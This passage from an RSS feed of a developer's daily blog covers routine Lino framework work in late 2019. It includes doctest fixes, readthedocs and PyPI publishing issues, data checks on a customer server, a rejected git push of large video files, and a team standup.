 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;override&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;auto&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;beam&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;setting&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;(end * * * *) 2 4)&lt;/span&gt;
&lt;span class="n"&gt;Unbound&lt;/span&gt; &lt;span class="n"&gt;variable&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;override&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;auto&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;beam&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;setting&lt;/span&gt;
&lt;span class="mf"&gt;20091128.&lt;/span&gt;&lt;span class="n"&gt;lytex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;2373&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;GUILE&lt;/span&gt; &lt;span class="n"&gt;signaled&lt;/span&gt; &lt;span class="n"&gt;an&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;expression&lt;/span&gt; &lt;span class="n"&gt;beginning&lt;/span&gt; &lt;span class="n"&gt;here&lt;/span&gt;
&lt;span class="c1"&gt;#&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;override&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;auto&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;beam&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;setting&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;(end * * * *) 3 4)&lt;/span&gt;
&lt;span class="n"&gt;Unbound&lt;/span&gt; &lt;span class="n"&gt;variable&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;override&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;auto&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;beam&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;setting&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1103.html</guid><pubDate>Sun, 03 Nov 2019 00:00:00 +0000</pubDate></item><item><title>Saturday, November 2, 2019</title><link>https://luc.lino-framework.org/blog/2019/1102.html</link><description>&lt;section id="saturday-november-2-2019"&gt;
&lt;h1&gt;Saturday, November 2, 2019&lt;a class="headerlink" href="#saturday-november-2-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="travis-and-readthedocs"&gt;
&lt;h2&gt;Travis and readthedocs&lt;a class="headerlink" href="#travis-and-readthedocs" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I finally wrote a letter to Natalia and did a few optimizations in &lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#book" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Developer Guide&lt;/span&gt;&lt;/a&gt;
and &lt;a class="reference external" href="https://community.lino-framework.org/index.html#cg" title="(in Lino Community Guide)"&gt;&lt;span class="xref std std-ref"&gt;cg&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I fixed a doctest failure in &lt;a class="reference external" href="https://dev.lino-framework.org/specs/dashboard.html#specs-dashboard" title="(in Lino Developer Guide)"&gt;&lt;span&gt;dashboard : customizable dashboard&lt;/span&gt;&lt;/a&gt; caused by the new
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;__repr__()&lt;/span&gt;&lt;/code&gt; method of dashboard item. Also optimized that method.&lt;/p&gt;
&lt;p&gt;I am trying to get &lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#book" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Developer Guide&lt;/span&gt;&lt;/a&gt; to build on readthedocs automatically  after each
commit. But it tells me things I don’t really understand:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Version locked, retrying in 5 minutes.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Webhook activation failed. Make sure you have the necessary permissions.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;According to their &lt;a class="reference external" href="https://docs.readthedocs.io/en/latest/webhooks.html"&gt;Webhooks&lt;/a&gt; it should work
automatically, but it doesn’t…&lt;/p&gt;
&lt;/section&gt;
&lt;section id="weleup"&gt;
&lt;h2&gt;weleup&lt;a class="headerlink" href="#weleup" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I did a series of manual tests on the new server for weleup to prepare their
next release. Mostly for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3026"&gt;#3026&lt;/a&gt;.  Also reviewed the release notes
(&lt;a class="reference external" href="https://welfare.lino-framework.org/de/changes/19.11.0.html#weleup-19-11-0" title="(in Lino für ÖSHZ v21.3)"&gt;&lt;span&gt;19.11.0 (coming)&lt;/span&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;After the data migration there is only one checkdata message. I had to manually
invoke &lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;checkdata&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ python manage.py checkdata
Started manage.py checkdata (using lino_local.xxxxxx.settings) --&amp;gt; PID 19155
Found 606 and fixed 0 data problems in Partners.
Found 1 and fixed 0 data problems in Income confirmations.
Found 5667 and fixed 0 data problems in Clients.
Found 196 and fixed 0 data problems in Calendar entries.
Found 64 and fixed 0 data problems in Places.
Found 225 and fixed 0 data problems in Excerpts.
Found 44 and fixed 0 data problems in Events/Notes.
Done 35 checks, found 6803 and fixed 0 problems.
Done manage.py checkdata (PID 19155)
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Afterwards they had many messages, but only one from
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/system.html#lino.modlib.system.BleachChecker" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.system.BleachChecker&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.
I analyzed that case (a &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.notes.Note&lt;/span&gt;&lt;/code&gt;) and verified that the difference was trivial.
I added some test cases in &lt;a class="reference external" href="https://dev.lino-framework.org/dev/bleach.html#bleaching" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Bleaching&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Conclusion: it is safe for them to activate bleaching when migrating their data to the new server.&lt;/p&gt;
&lt;p&gt;The fact that I had to run it manually means that their &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/linod.html#management_command-linod" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;linod&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; wasn’t running.&lt;/p&gt;
&lt;p&gt;I noted that there isn’t yet any daily cron job configured on their new
server.&lt;/p&gt;
&lt;p&gt;I also manually added a &lt;a class="reference external" href="https://hosting.lino-framework.org/monit/#xfile-healthcheck.sh" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;healthcheck.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; script. TODO: have getlino do
this.&lt;/p&gt;
&lt;p&gt;I ran &lt;cite&gt;sudo apt upgrade&lt;/cite&gt; and verified that monit has not been added to the
Debian 10. I still some hope that it might come back “automatically” because I
read that three weeks ago it has been  &lt;a class="reference external" href="https://tracker.debian.org/pkg/monit"&gt;accepted into unstable&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="first-pypi-release-of-lino-react"&gt;
&lt;h2&gt;First PyPI release of lino_react&lt;a class="headerlink" href="#first-pypi-release-of-lino-react" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I had some minor issues before getting it published. For example
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;HTTPError:&lt;/span&gt; &lt;span class="pre"&gt;400&lt;/span&gt; &lt;span class="pre"&gt;Client&lt;/span&gt; &lt;span class="pre"&gt;Error:&lt;/span&gt; &lt;span class="pre"&gt;Invalid&lt;/span&gt; &lt;span class="pre"&gt;value&lt;/span&gt; &lt;span class="pre"&gt;for&lt;/span&gt; &lt;span class="pre"&gt;classifiers.&lt;/span&gt; &lt;span class="pre"&gt;Error:&lt;/span&gt;
&lt;span class="pre"&gt;'License&lt;/span&gt; &lt;span class="pre"&gt;::&lt;/span&gt; &lt;span class="pre"&gt;OSI&lt;/span&gt; &lt;span class="pre"&gt;Approved&lt;/span&gt; &lt;span class="pre"&gt;::&lt;/span&gt; &lt;span class="pre"&gt;BSD&lt;/span&gt; &lt;span class="pre"&gt;LIcense'&lt;/span&gt; &lt;span class="pre"&gt;is&lt;/span&gt; &lt;span class="pre"&gt;not&lt;/span&gt; &lt;span class="pre"&gt;a&lt;/span&gt; &lt;span class="pre"&gt;valid&lt;/span&gt; &lt;span class="pre"&gt;choice&lt;/span&gt; &lt;span class="pre"&gt;for&lt;/span&gt; &lt;span class="pre"&gt;this&lt;/span&gt; &lt;span class="pre"&gt;field&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;for url: &lt;a class="reference external" href="https://upload.pypi.org/legacy/"&gt;https://upload.pypi.org/legacy/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;And then the first version 19.11.0
doesn’t yet include the static and other non-python files.
I added a &lt;a class="reference external" href="https://dev.lino-framework.org/dev/setup.html#xfile-MANIFEST.in" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;MANIFEST.in&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file and discovered the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;graft&lt;/span&gt;&lt;/code&gt; command
&lt;a class="reference external" href="https://docs.python.org/3.7/distutils/commandref.html#sdist-cmd"&gt;https://docs.python.org/3.7/distutils/commandref.html#sdist-cmd&lt;/a&gt;
&lt;a class="reference external" href="https://docs.python.org/3.7/distutils/sourcedist.html"&gt;https://docs.python.org/3.7/distutils/sourcedist.html&lt;/a&gt;
&lt;a class="reference external" href="https://docs.python.org/2/distutils/sourcedist.html#manifest-template"&gt;https://docs.python.org/2/distutils/sourcedist.html#manifest-template&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1102.html</guid><pubDate>Sat, 02 Nov 2019 00:00:00 +0000</pubDate></item><item><title>Friday, November 1, 2019</title><link>https://luc.lino-framework.org/blog/2019/1101.html</link><description>&lt;section id="friday-november-1-2019"&gt;
&lt;h1&gt;Friday, November 1, 2019&lt;a class="headerlink" href="#friday-november-1-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I fixed some more test failures caused by miscellaneous recent changes (&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/881"&gt;#881&lt;/a&gt;):&lt;/p&gt;
&lt;p&gt;One was in book, caused by my yesterday change in
&lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/requests.html#lino.core.requests.BaseRequest.confirm" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;BaseRequest.confirm()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; when
&lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/requests.html#lino.core.requests.BaseRequest.set_confirm_answer" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;BaseRequest.set_confirm_answer()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; was used.&lt;/p&gt;
&lt;p&gt;The other (&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;ImportError:&lt;/span&gt; &lt;span class="pre"&gt;cannot&lt;/span&gt; &lt;span class="pre"&gt;import&lt;/span&gt; &lt;span class="pre"&gt;name&lt;/span&gt; &lt;span class="pre"&gt;'get_image_path'&lt;/span&gt;&lt;/code&gt; in
&lt;a class="reference external" href="https://welfare.lino-framework.org/index.html#welfare" title="(in Lino Welfare)"&gt;&lt;span&gt;Lino Welfare&lt;/span&gt;&lt;/a&gt;) was caused by a change I did some days ago.&lt;/p&gt;
&lt;p&gt;Two failures were because I removed the
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;server_status&lt;/span&gt;&lt;/code&gt; field from &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/about.html#lino.modlib.about.About" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.about.About&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;And in &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;docs/specs/welcht/misc.rst&lt;/span&gt;&lt;/code&gt; there was a problem caused by the new
callback handling.  The test creates a file
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;config/immersion/Contract/Default.odt&lt;/span&gt;&lt;/code&gt; in
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.projects.mathieu&lt;/span&gt;&lt;/code&gt; because that doctest uses
&lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/requests.html#lino.core.requests.BaseRequest.run" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;BaseRequest.run()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; which spawns a child request, and the setting given
previously by &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/requests.html#lino.core.requests.BaseRequest.set_confirm_answer" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;BaseRequest.set_confirm_answer()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;  was not being inherited to
that child request.&lt;/p&gt;
&lt;section id="miscellaneous"&gt;
&lt;h2&gt;Miscellaneous&lt;a class="headerlink" href="#miscellaneous" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Tonis made that the dashboard in &lt;a class="reference external" href="https://react.lino-framework.org/index.html#react" title="(in Lino React)"&gt;&lt;span&gt;React front end for Lino&lt;/span&gt;&lt;/a&gt; now issues separated Ajax requests
for each dashboard item. New attribute
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.renderer.Renderer.hide_dashboard_items&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The book docs still didn’t build on readthedocs. I added a missing eidreader
dependency in &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;requirements.stable.txt&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;I fixed a failure in the book test suite on travis which hadn’t occurred on my
machine because I always had a &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;default.db&lt;/span&gt;&lt;/code&gt; file from a previous
&lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/prep.html#command-pm-prep" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; run.&lt;/p&gt;
&lt;p&gt;I started a new page &lt;a class="reference external" href="https://dev.lino-framework.org/dev/screencasts.html#dev-screencasts" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Screen casts&lt;/span&gt;&lt;/a&gt; in the Developers Guide. I also
tried to add the mp4 files of my screencasts to the book repository, but oops,
that doesn’t work:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;[master 5ae7057] http://luc.lino-framework.org/blog/2019/1101.html
 7 files changed, 32 insertions(+)
 create mode 100644 docs/data/videos/vokoscreen-2019-10-21_11-05-56.mp4
 create mode 100644 docs/data/videos/vokoscreen-2019-10-23_05-56-03.mp4
 create mode 100644 docs/data/videos/vokoscreen-2019-10-23_07-33-49.mp4
 create mode 100644 docs/data/videos/vokoscreen-2019-10-23_08-33-38.mp4
 create mode 100644 docs/dev/screencasts.rst
Counting objects: 13, done.
Delta compression using up to 4 threads.
Compressing objects: 100% (13/13), done.
Writing objects: 100% (13/13), 385.46 MiB | 2.90 MiB/s, done.
Total 13 (delta 5), reused 0 (delta 0)
remote: Resolving deltas: 100% (5/5), completed with 5 local objects.
remote: error: GH001: Large files detected. You may want to try Git Large File Storage - https://git-lfs.github.com.
remote: error: Trace: 8e965936f1f793356f93ccb06127aed3
remote: error: See http://git.io/iEPt8g for more information.
remote: error: File docs/data/videos/vokoscreen-2019-10-23_05-56-03.mp4 is 216.53 MB; this exceeds GitHub&amp;#39;s file size limit of 100.00 MB
remote: error: File docs/data/videos/vokoscreen-2019-10-23_07-33-49.mp4 is 128.79 MB; this exceeds GitHub&amp;#39;s file size limit of 100.00 MB
To github.com:lino-framework/book.git
 ! [remote rejected] master -&amp;gt; master (pre-receive hook declined)
error: failed to push some refs to &amp;#39;git@github.com:lino-framework/book.git&amp;#39;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="optimizations-in-amici"&gt;
&lt;h2&gt;Optimizations in Amici&lt;a class="headerlink" href="#optimizations-in-amici" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Default &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-front-end" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;front end&lt;/span&gt;&lt;/a&gt; is now &lt;a class="reference external" href="https://react.lino-framework.org/index.html#react" title="(in Lino React)"&gt;&lt;span&gt;React front end for Lino&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Added some fields to the insert_layout of
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_amici.lib.contacts.Persons&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1101.html</guid><pubDate>Fri, 01 Nov 2019 00:00:00 +0000</pubDate></item><item><title>Thursday, October 31, 2019</title><link>https://luc.lino-framework.org/blog/2019/1031.html</link><description>&lt;section id="thursday-october-31-2019"&gt;
&lt;h1&gt;Thursday, October 31, 2019&lt;a class="headerlink" href="#thursday-october-31-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="lino-kernel-as-a-multiprocessing-manager"&gt;
&lt;h2&gt;Lino kernel as a multiprocessing manager?&lt;a class="headerlink" href="#lino-kernel-as-a-multiprocessing-manager" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Just a series of thoughts…&lt;/p&gt;
&lt;p&gt;After watching a &lt;a class="reference external" href="https://www.youtube.com/watch?v=fKl2JW_qrso"&gt;tutorial&lt;/a&gt;
about multiprocessing and after looking into the Django source code for the
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/django.html#management_command-runserver" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;runserver&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; command, I started thinking that &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.kernel.html#lino.core.kernel.Kernel" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Kernel&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; should become a subclass of
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;multiprocessing.Manager&lt;/span&gt;&lt;/code&gt; (see &lt;a class="reference external" href="https://docs.python.org/3/library/multiprocessing.html#multiprocessing-managers"&gt;Managers&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;This would clarify the fundamental difference between the &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/site.html#lino.core.site.Site" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Site&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and the &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.kernel.html#lino.core.kernel.Kernel" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Kernel&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;: in a
multiprocessing context there can be several instances of a same Site class, but
only one kernel instance.&lt;/p&gt;
&lt;p&gt;Hmm… maybe not a Manager but a Listener.
See &lt;a class="reference external" href="https://docs.python.org/3/library/multiprocessing.html#module-multiprocessing.connection"&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Instantiating a &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Site&lt;/span&gt;&lt;/code&gt;
instance would check whether the “Lino daemon”
is already running. Probably using a socket. If the daemon is not yet
running, the Site should spawn a daemon in a subprocess, otherwise it would
connect to the running daemon.
This would also make &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/linod.html#management_command-linod" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;linod&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; useless because the daemon would run
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;schedule.run_pending()&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The listener daemon would be responsible for building the cache and
storing global runtime settings like user preferences.&lt;/p&gt;
&lt;p&gt;Oops, I forget that both arguments and return values of that daemon must be
pickleable.  So e.g. discovering actors and actions must remain in every Site
instance. The Lino daemon would actually just accept listeners to Django events,
and we would extend these events via &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/linod.html#management_command-linod" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;linod&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to allother processes?&lt;/p&gt;
&lt;p&gt;Hm… still not really clear.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="lino-avanti-optimization-request"&gt;
&lt;h2&gt;Lino Avanti optimization request&lt;a class="headerlink" href="#lino-avanti-optimization-request" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I opened &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3311"&gt;#3311&lt;/a&gt;: Johanna asked to have in their table of clients two new
columns which show the date of the first meeting and the date of the evaluation
test.  These dates are stored in the database as trend events
(Entwicklungsschritte).&lt;/p&gt;
&lt;p&gt;New feature in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.trends.html#module-lino_xl.lib.trends" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.trends&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;: When the new checkbox
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/trends.html#lino_xl.lib.trends.TrendStage.subject_column" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;TrendStage.subject_column&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is checked, Lino will add a virtual field to
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/avanti/avanti.html#lino_avanti.lib.avanti.Client" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_avanti.lib.avanti.Client&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; (which they use as their
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.trends.html#lino_xl.lib.trends.Plugin.subject_model" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plugin.subject_model&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;) which shows the date of the first event
(occurrence) of this stage for this client.  The columns are not visible by
default but the end user can activate them.&lt;/p&gt;
&lt;p&gt;This change required a new minor feature in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.fields.html#module-lino.core.fields" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.fields&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;VirtualField.wildcard_data_elem&lt;/span&gt;&lt;/code&gt;.
Virtual fields aren’t normally used as wildcard data elements. This new
attribute makes it possible to define virtual fields that are wildcard data
elements.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1031.html</guid><pubDate>Thu, 31 Oct 2019 00:00:00 +0000</pubDate></item><item><title>Monday, October 28, 2019</title><link>https://luc.lino-framework.org/blog/2019/1028.html</link><description>&lt;section id="monday-october-28-2019"&gt;
&lt;h1&gt;Monday, October 28, 2019&lt;a class="headerlink" href="#monday-october-28-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="standup-meeting"&gt;
&lt;h2&gt;Standup meeting&lt;a class="headerlink" href="#standup-meeting" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We forgot about the switch from summer to winter time. Hamza was waiting for us
at 8am (as usual for him), but Tonis and I arrived only at 10am (as usual for
us)…&lt;/p&gt;
&lt;p&gt;Hamza got mentions (&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.comments.html#module-lino.modlib.comments" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;) working and released on Jane
Congratulations. Now he was stuck with the problem of sending a notification
when a user is mentioned in a comment. I asked him to stop working on this
because it is rather a problem of the notifications framework
(&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.notify.html#module-lino.modlib.notify" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.notify&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;). More important is to show, in the detail of a
ticket, the list of comments that mention this ticket. I started working in the
comments code with Hamza watching.
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments.CommentsByMentioned&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Tonis suggested (and basically convinced me) to move away from generating HTML
on the server and to use a “client-side views” approach instead.  But that needs
more investigation.&lt;/p&gt;
&lt;p&gt;Hamza “disappeared” at some moment, probably a connection issue on his side.&lt;/p&gt;
&lt;p&gt;I started using the new “Teams” table in Hobbit.&lt;/p&gt;
&lt;p&gt;What name do we prefer for our Noi site? : “Hobbit” or “Jane”? The two sites
should become either “jane” and “e-jane” or “hobbit” and “e-hobbit”. I seem to
prefer Jane because the choice makes some sense and is easier to explain to
others.&lt;/p&gt;
&lt;p&gt;Priorities by developer until Wednesday:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Tonis : Modular dashboard components&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Hamza : work on the getlino test suite (use travis matrix to setup the
different setup variants (developer / contributor / production / demo)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Luc : finish my review of comments, write offers Presto and Avanti, work on a
TIM customer request.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Before pushing my work on  &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments.CommentsByMentioned&lt;/span&gt;&lt;/code&gt; to
master I should get the test suite passing.&lt;/p&gt;
